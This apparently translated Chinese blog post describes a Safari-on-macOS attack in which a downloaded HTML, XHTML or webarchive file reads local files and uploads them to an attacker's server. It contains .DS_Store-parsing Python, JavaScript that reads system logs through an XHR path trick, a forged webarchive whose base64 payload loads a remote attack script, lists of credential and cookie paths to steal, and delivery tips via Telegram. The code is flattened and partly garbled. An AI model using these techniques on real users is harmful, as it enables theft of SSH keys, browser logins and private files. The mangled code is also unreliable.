@#¥%……&*(啥破苹果电脑,编辑个文章崩毁了几百次,辣椒chrome~把我想说的都说不出来了。留着下次说吧。文章基本上是翻译+自己修改了下的!别打脸,毕竟我英语6级……差点就过了!
想象一个可怕的画面,你打开了一个html文件,过一会,你的文件在你不知不觉中被窃取到别人的磁盘中。
一般来说,攻击的方式如下:
-
用户在浏览器中打开html文件
-
浏览器会读取用户允许访问的文件列表
-
浏览器会读取“key”,并将它上传到黑客运行的服务器上。而这个过程通常会在后台发生,却不会告诉当前用户。
让我们把这个过程分为几个阶段: 第一个阶段:获取当前计算机上的文件信息 第二个阶段:访问文件并将它们上传到服务器上
在第一个阶段,黑客需要得到一个文件列表。一般来说,这不是一件很容易的事,任何开发人员都不会允许html页面请求并接受目录活着本地桌面文件夹的内容。猜测和尝试所有可能路径并不是一个真正的选择。虽然有一些文件路径是常见的,例如:
~/.ssh/id_rsa
常见的目录是/var/log/system.log 不同的系统日志格式也有差异
假设我们解决了这个问题,但在第二个阶段,黑客需要逃逸浏览器沙箱,然后读取它现在知道的文件并上传到服务器。
获得一个目录列表
与Linux或者Windows相比 macOS有更与众不同的特性,当目录被打开时,操作系统会创建一个隐藏文件
.DS_Store
而类似于Windows的
Thumbs.db
.DS_Store
类似,保留文件的缩略图,当director被打开的同时
.ds_store
被创建。
服务文件.DS_Store是在打开目录时自动创建的
有趣的是,可以轻松解析DS_Store以获取目录中所有文件的名称。 例如,一个恰当名称的Phython节点DSStore将会做到这一点。 下面是一个代码示例:
##!/usr/bin/env python from ds_store import DSStore import json path = ‘/Users/USERNAME/.DS_Store’ def parse(file): filelist = [] for i in file: if i.filename!=’.’: filelist.append(i.filename) return list(set(filelist)) d=DSStore.open(path, ‘r+’)fileresult=parse(d)print(json.dumps(fileresult))for name in fileresult: try: d = DSStore.open(path + name+ ‘/.DS_Store’, ‘r+’) fileresult = parse(d) all.append(fileresult) print(json.dumps(fileresult)) except: pass
将这个文件保存为
parse_ds_store.py
并将它运行起来。
结果应该类似于以下内容:
$ python parse_ds_store.py [“Documents”, “Pictures”, “.idm”, “Desktop”, “Music”, “.oracle_jre_usage”, “Public”, “tmp”, “Parallels”, “MEGA”, “.BurpSuite”, “Downloads”, “.config”, “.cache”, “Applications”, “.bash_sessions”, “Creative Cloud Files”, “PycharmProjects”, “Applications (Parallels)”, “Dropbox”, “Nextcloud”, “.iterm2”, “.Trash”, “Scripts”, “Movies”, “MEGAsync Downloads”, “Soft”, “.local”, “.ssh”, “Library”, “.pgadmin”]
如你看到的那样,我刚刚从我的主目录检查所有文件。这意味着,有了这些信息,我们现在可以递归地调用.DS_Store可以在我的计算机上获得完整的文件层次结构——所有文件都没有授权访问任何目录。
例如,将此方法应用到主目录(~/.DS_Store),我们可以得到它返回的:
[“Backups","Soft","Pictures",".ssh"...][
然后,跟进~/Backups/.DS_Store,我们得到:
[“2017”, “2016”, “2015”, …]
接下来,我们继续跟进~/Backups/2017/.DS_Store
[“source”, “sql”, “static”, …]
等等。
一些笔记:
-
黑客只需要知道授权系统用户名;
-
文件.DS_Store仅在授权用户打开目录时才会创建
除了上述表示以外,该系统还需要在运行当中。
预测有价值信息的文件路径
什么是最值得被盗取的,至关重要的一点,.ssh, 是直接通往王国的钥匙(也就是加密系统的密钥)存放的地方
这里有一些已知的文件,比如:
~/.ssh/id_rsa; ~/.ssh/id_rsa.key; ~/.ssh/id_rsa.pub; ~/.ssh/known_hosts; ~/.ssh/authorized_keys;
还有.bash_history —可以让黑客获得以前使用过的命令历史记录。
Cookies and other tasty treats
(这个标题不会翻译)
现在,我们来寻找cookie。首先,MacOS将账户数据保存在众所周知的地方。
~/Library/Cookies/Cookies.binarycookies~/Library/Cookies/com.apple.Safari.cookies
可以在同一个地方找到Twitter、Skype和其他应用程序的cookie。
当我们在这里的时候,我们也可以记录返回HSTS消息头的访问站点列表。
~/Library/Cookies/HSTS.plist
另一个好的发现是关于系统帐户的信息:
~/Library/Accounts/Accounts4.sqlite
除了列表之外,我们还可以了解其他应用程序的信息
~/Library/Application Support/
例如,有关Chrome浏览器中存储的登录数据和Cookie的信息可以做得很好。
~/Library/Application Support/Google/Chrome/Default/Login Data ~/Library/Application Support/Google/Chrome/Default/Cookies ~/Library/Application Support/Google/Chrome/Default/History
有兴趣的人也可以在这个目录中找到其他信息。它可能是FTP/SQL 客户端的日志,历史消息记录,登录数据…等等
偷偷地访问用户文件
现在我们知道哪些文件是有价值的,我们试尝着从Safari获得访问这些文件。 我们知道在Chrome浏览器读取本地文件并不简单。唯一的方法就是推出Chrome特别参数(- disable-web-security)。
Safari浏览器报错,显示不能与本地文件一起工作,比如file://
一个不能只是从Safari读取file://
但是,如果文件最初是从网上下载的,Safari对于这种请求会更加宽松。因此,可以向本地文件发送XHR请求并获取其内容:
如果是一个本地文件——你已经获得它了!
了解Safari的特性,使用完整的路径名,我们可以加载完整的文件内容并将它上传到服务器上。
然而,有一个问题。如果不知道授权用户的名称,就无法获得完整的文件路径。用户的名字很漂亮。例如,/etc/passwd/根本不包含登录名。
要解决这个问题,我们可以检查由操作系统生成的两个日志文件(感谢,@ f1nnix!)它们是/var/log/system.log和/var/log/install.log。 在这两个文件之间,可能会找到用户名。 将它们加载到浏览器并应用一些正则表达式,我们可以获得我们需要的所有信息。
这里有一个JS代码,可以从这些日志中提取所有的登录名:
function getUser() { var xhr = new XMLHttpRequest(); try { xhr.open(‘GET’, ‘/var/log/system.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } catch (e) { xhr.open(‘GET’, ‘/var/log/install.log;/https:%2f%2fgoogle.com/’, false); xhr.send(); return xhr.responseText.match(//Users/w+//g)[0]; } }
Getting out the loot
黑客跟随文章第一部分的步骤之后,剩下的就是把被盗取的文件拿出来。为了了解它是如何工作的,我们可以组装一个简单的后端来接收文件的路径和内容。如果它是。我们可以通过路径解析来补充.DS_Store。
作为奖励,我们可以添加黑白名单来避免巨大的媒体文件上传或指定特别感兴趣,比如DOCX文件。 但如果系统中还有其他浏览器呢?这是否意味着一个HTML文件将被Chrome或Opera打开,而黑客的计划将会失败呢?
也许不会。我们不能忘记XHTM扩展。这是一个只能用Safari打开的网站。 XHTM的故事很清楚——它只是一个基于xml的web页面,内置JS。Webarchives有点复杂。有两种支持的格式,其中一种可以很容易手动伪造:
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version=”1.0"><dict> <key>WebMainResource</key> <dict> <key>WebResourceData</key> <data> PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj wvYm9keT48L2h0bWw+ </data> <key>WebResourceFrameName</key> <string></string> <key>WebResourceMIMEType</key> <string>text/html</string> <key>WebResourceTextEncodingName</key> <string>UTF-8</string> <key>WebResourceURL</key> <string>file:///</string> </dict></dict></plist>
每一行的数据为Base64,每行包含59个符号
如何绕过“从哪里来”
默认情况下,来自internet的文件具有执行保护功能
警告报错
这意味着电子邮件附件中的文件不太可能执行。
黑客的好消息是,下载文件后并不是所有的程序都设置了保护标志。例如,MacOS的Telegram不会这样做。 在我们的一些实践测试中,我们可以通过MacOS的Telegram版本传送的恶意XHTM文件来读取用户文件,即使没有归档或密码保护。
实践测试-通过Telegram传输的文件!
这只是一个例子——其他类似的场景也是可能的。例如,一个准备好的文件可以很容易地给予受害者在家庭照片的USB加密狗。
要自己完成这个项目,从我的存储库中获取现成的HTML文件和后端
那应该怎么做?
在这个时候,作为一个Safari用户,你不能做任何事情。显然,苹果不认为这是一个安全漏洞。我们还没有听说有任何计划来解决这个问题。
有一件事是要保持警惕,对从互联网上下载的文件要非常小心。唯一的另一件事就是不使用Safari浏览器。
Just because you’re paranoid, doesn’t mean they are not after you!
这是小编的一个效果图~
以上临时工所述
我司一概不负责
本文始发于微信公众号(逢人斗智斗勇):如何使用一个下载来远程窃取MacOS的专有文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论